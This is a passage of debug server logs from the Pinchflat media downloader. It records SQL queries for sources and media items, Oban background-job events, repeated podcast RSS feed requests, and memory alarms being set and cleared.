s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:08:24.531 [debug] QUERY OK source="media_items" db=0.6ms queue=0.1ms idle=174.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 14:08:24.533 [debug] QUERY OK source="media_items" db=1.5ms idle=142.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:08:24.537 [info] Sent 200 in 267ms 14:08:27.337 [info] {"source":"oban","duration":1622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:57.340 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.035 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:27.343 [info] {"source":"oban","duration":1141,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:57.345 [info] {"source":"oban","duration":1798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.036 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:14.275 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:10:14.275 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:10:14.277 [debug] QUERY OK source="sources" db=0.6ms queue=0.1ms idle=1109.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:10:14.278 [debug] QUERY OK source="media_items" db=1.2ms queue=0.1ms idle=1110.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:10:14.280 [debug] QUERY OK source="source_metadata" db=0.7ms idle=1113.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:10:14.281 [debug] QUERY OK source="media_metadata" db=0.4ms idle=1114.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:10:14.282 [info] Sent 200 in 6ms 14:10:27.348 [info] {"source":"oban","duration":1416,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:57.350 [info] {"source":"oban","duration":1444,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.038 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:27.352 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:55.509 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:11:57.354 [info] {"source":"oban","duration":1602,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.039 [info] {"source":"oban","duration":459,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:27.357 [info] {"source":"oban","duration":1528,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:57.359 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.041 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:27.361 [info] {"source":"oban","duration":1793,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:52.437 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:13:52.438 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:13:52.439 [debug] QUERY OK source="sources" db=1.1ms idle=1272.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:13:52.442 [debug] QUERY OK source="media_items" db=0.7ms queue=1.0ms idle=1273.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:13:52.444 [debug] QUERY OK source="source_metadata" db=0.9ms idle=1276.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:13:52.445 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.1ms idle=1278.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:13:52.446 [info] Sent 200 in 8ms 14:13:57.365 [info] {"source":"oban","duration":1774,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.044 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:27.367 [info] {"source":"oban","duration":1249,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:57.370 [info] {"source":"oban","duration":2188,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.046 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:09.605 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:15:09.606 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:15:09.607 [debug] QUERY OK source="sources" db=1.2ms idle=1440.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:15:09.609 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=1360.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:15:09.612 [debug] QUERY OK source="source_metadata" db=0.8ms idle=444.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:15:09.614 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.2ms idle=446.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:15:09.615 [info] Sent 200 in 10ms 14:15:27.373 [info] {"source":"oban","duration":2051,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:57.375 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.047 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:27.377 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:57.380 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.049 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:27.384 [info] {"source":"oban","duration":2168,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:55.554 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:17:57.386 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.051 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:24.322 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:18:24.322 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:18:24.323 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1156.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:18:24.345 [debug] QUERY OK source="media_items" db=21.3ms queue=0.1ms idle=1157.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:18:24.347 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1180.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:18:24.348 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.1ms idle=610.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:18:24.349 [info] Sent 200 in 27ms 14:18:27.389 [info] {"source":"oban","duration":1349,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:57.392 [info] {"source":"oban","duration":1803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.053 [info] {"source":"oban","duration":540,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:27.394 [info] {"source":"oban","duration":1688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:57.397 [info] {"source":"oban","duration":1211,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.056 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:27.399 [info] {"source":"oban","duration":1564,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:47.718 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:20:47.719 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:20:47.720 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=1553.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:20:47.723 [debug] QUERY OK source="media_items" db=1.6ms idle=630.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:20:47.725 [debug] QUERY OK source="source_metadata" db=1.0ms idle=557.7ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:20:47.726 [debug] QUERY OK source="media_metadata" db=0.9ms queue=0.1ms idle=559.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:20:47.727 [info] Sent 200 in 8ms 14:20:57.402 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.057 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:27.404 [info] {"source":"oban","duration":1660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:55.610 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 14:21:57.408 [info] {"source":"oban","duration":1845,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.059 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:27.411 [info] {"source":"oban","duration":1889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:57.413 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.061 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:24.021 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:23:24.021 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:23:24.023 [debug] QUERY OK source="sources" db=1.3ms idle=1532.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:23:24.025 [debug] QUERY OK source="media_items" db=1.1ms idle=857.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:23:24.027 [debug] QUERY OK source="source_metadata" db=0.2ms idle=860.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:23:24.028 [debug] QUERY OK source="media_metadata" db=0.6ms queue=0.1ms idle=860.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:23:24.029 [info] Sent 200 in 7ms 14:23:27.415 [info] {"source":"oban","duration":1480,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:57.418 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.063 [info] {"source":"oban","duration":555,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:27.422 [info] {"source":"oban","duration":1818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:57.424 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.065 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:08.953 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:25:08.954 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:25:08.955 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1787.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 14:25:08.956 [debug] QUERY OK source="media_items" db=0.8ms queue=0.2ms idle=1789.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 14:25:08.958 [debug] QUERY OK source="source_metadata" db=0.4ms idle=1791.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 14:25:08.959 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=1140.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 14:25:08.960 [info] Sent 200 in 6ms 14:25:27.427 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:57.429 [info] {"source":"oban","duration":1560,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.068 [info] {"source":"oban","duration":822,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:27.433 [info] {"source":"oban","duration":1923,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:57.435 [info] {"source":"oban","duration":1533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.069 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:27.438 [info] {"source":"oban","duration":1630,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:55.625 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 14:27:57.441 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.072 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:27.443 [info] {"source":"oban","duration":1741,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:57.446 [info] {"source":"oban","duration":1684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:59.644 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 14:28:59.644 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 14:28:59.646 [debug] QUERY OK source="sources" db=1.2ms idle=478.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", 